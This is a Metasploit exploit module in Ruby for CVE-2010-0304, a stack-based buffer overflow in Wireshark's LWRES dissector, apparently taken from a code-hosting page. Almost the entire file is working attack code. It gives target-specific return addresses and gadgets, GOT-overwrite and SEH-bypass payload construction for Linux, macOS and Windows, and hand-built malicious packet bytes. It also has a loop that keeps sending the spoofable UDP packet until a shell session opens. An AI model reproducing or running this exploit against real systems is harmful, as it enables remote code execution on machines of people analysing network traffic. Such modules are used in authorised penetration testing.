244 lines
8.6 KiB
Ruby
244 lines
8.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Capture
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
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'Description' => %q{
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The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
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1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
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overflow. This bug found and reported by babi.
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This particular exploit targets the dissect_getaddrsbyname_request function. Several
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other functions also contain potentially exploitable stack-based buffer overflows.
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The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
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exploitation via the return address on the stack. Sending a larger string allows
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exploitation using the SEH bypass method. However, this packet will usually get
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fragmented, which may cause additional complications.
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NOTE: The vulnerable code is reached only when the packet dissection is rendered.
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If the packet is fragmented, all fragments must be captured and reassembled to
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exploit this issue.
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This version loops, sending the packet every X seconds until the job is killed.
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},
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'Author' =>
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[
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'babi', # original discovery/exploit
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'jduck', # ported from public exploit
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'redsand' # windows target/testing
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-0304' ],
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[ 'OSVDB', '61987' ],
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[ 'BID', '37985' ],
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[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
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[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => true, # at least capture privilege
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00",
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'DisableNops' => true,
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},
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'DefaultTarget' => 4,
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'Platform' => %w{ linux osx win },
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'Targets' =>
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[
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[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
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# breakpoint: lwres.so + 0x2ce2
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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# conveniently, edx pointed at our string..
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# and so, we write it to g_slist_append's GOT entry just before its called.
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# pwnt.
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#
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# mov [ebx+0xc],edx / jmp 0x804fc40 -->
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# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
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#
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'Ret' => 0x804fc85, # see above..
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'RetOff' => 376,
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'Readable' => 0x804fa04, # just anything
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'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
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}
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],
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[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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# the method for tshark doesn't work, since there aren't any convenient
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# pointers lying around (in reg/close on stack)
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#
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# since the wireshark bin has a jmp esp, we'll just use that method..
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'Ret' => 0x818fce8, # jmp esp in wireshark bin
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'RetOff' => 376,
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'Readable' => 0x8066a40, # just any old readable addr (unused)
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'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
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}
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],
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[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
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{
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'Arch' => ARCH_X86_64,
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'Platform' => 'linux',
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'Ret' => 0xfeedfed5deadbeef,
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'RetOff' => 152,
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}
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],
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[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'osx',
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'Ret' => 0xdeadbeef,
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'RetOff' => 268,
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}
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],
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# The following target was tested against Windows XP SP3 and Windows Vista
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[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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# NOTE: due to the length of this packet, your mileage may vary.
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'Ret' => 0x61B4121B,
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# 0x655810b6 = pop/pop/ret in libpango
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# 0x02A110B6 = pop/pop/ret in libgtk-w
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# 0x03D710CC = pop/mov/pop/ret in packet
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# 0x61B4121B = pop/pop/ret in pcre3
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'RetOff' => 2128,
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}
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],
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],
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'DisclosureDate' => 'Jan 27 2010',
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# Set it to passive mode to background it.
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'Stance' => Msf::Exploit::Stance::Passive))
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register_options([
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Opt::RPORT(921),
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Opt::RHOST("239.255.255.250"),
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OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
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OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5])
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], self.class)
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register_advanced_options([
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OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def exploit
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check_pcaprub_loaded # Check first
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ret_offset = target['RetOff']
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# we have different techniques depending on the target
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if (target == targets[0])
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# debian tshark
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str = make_nops(ret_offset - payload.encoded.length - 16)
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str << payload.encoded
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str << [target['GotAddr'] - 0xc].pack('V')
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str << rand_text(4)
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str << [target['Readable']].pack('V')
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str << rand_text(4)
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# ret is next
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elsif (target == targets[1])
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fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
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str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
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str << fix_esp
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str << payload.encoded
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# jmp esp...
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str << [target.ret].pack('V')
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# jump back
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distance = ret_offset + 4
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str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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elsif (target == targets[4])
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# ugh, /GS and UDP length issues :-/
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str = make_nops(ret_offset - payload.encoded.length)
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str << payload.encoded
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str << generate_seh_record(target.ret)
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# jump back
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distance = ret_offset + 8
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str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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else
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# this is just a simple DoS payload
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str = Rex::Text.pattern_create(ret_offset)
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#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
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end
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# add return address
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#XXX: this isn't working?
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#str << Rex::Arch.pack_addr(target.arch, target.ret)
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str << [target.ret].pack('V')
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# form the packet's payload!
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sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
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sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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sploit << "\x00\x00\x00\x01"
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sploit << [str.length].pack('n')
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sploit << str
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sploit << "\x00\x00"
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shost = datastore['SHOST']
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if (shost)
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print_status("Sending malformed LWRES packet (spoofed from #{shost})")
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open_pcap
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p = PacketFu::UDPPacket.new
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p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
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p.ip_daddr = rhost
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p.udp_sport = rand((2**16)-1024)+1024
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p.udp_dport = datastore['RPORT'].to_i
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p.payload = sploit
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p.recalc
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while true
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break if session_created? and datastore['ExitOnSession']
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capture_sendto(p, rhost)
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select(nil,nil,nil,datastore['DELAY'])
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end
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close_pcap
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handler
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else
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print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
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handler
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while true
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break if session_created? and datastore['ExitOnSession']
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connect_udp
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udp_sock.put(sploit)
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disconnect_udp
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select(nil,nil,nil,datastore['DELAY'])
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end
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end
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end
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end
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